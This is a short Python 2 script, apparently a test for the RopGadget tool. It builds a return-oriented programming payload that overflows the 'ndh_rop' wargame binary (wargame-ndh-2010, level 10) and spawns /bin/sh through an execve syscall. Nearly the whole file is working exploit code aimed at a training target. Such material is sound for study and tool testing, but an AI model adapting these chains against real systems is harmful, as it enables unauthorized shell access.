#!/usr/bin/python2
# Test RopGadget payload in ndh_rop binary
# ndh_rop is a binary on wargame-ndh-2010 (level 10)
#
# poc: ./ndh_rop "$(python2 ./exploit.py)"

from struct import pack

p = "a" * 12
# execve /bin/sh generated by RopGadget v4.0
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a0) # @ .data
p += pack("<I", 0x080a4be6) # pop %eax | ret
p += "/bin"
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a4) # @ .data + 4
p += pack("<I", 0x080a4be6) # pop %eax | ret
p += "//sh"
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a8) # @ .data + 8
p += pack("<I", 0x0804aae0) # xor eax, eax | ret
p += pack("<I", 0x080798dd) # mov %eax,(%edx) | ret
p += pack("<I", 0x08048144) # pop %ebx | ret
p += pack("<I", 0x080cd9a0) # @ .data
p += pack("<I", 0x080c5dd2) # pop %ecx | ret
p += pack("<I", 0x080cd9a8) # @ .data + 8
p += pack("<I", 0x08052bba) # pop %edx | ret
p += pack("<I", 0x080cd9a8) # @ .data + 8
p += pack("<I", 0x0804aae0) # xor %eax,%eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca6) # inc %eax | ret
p += pack("<I", 0x08048ca8) # int 0x80
print p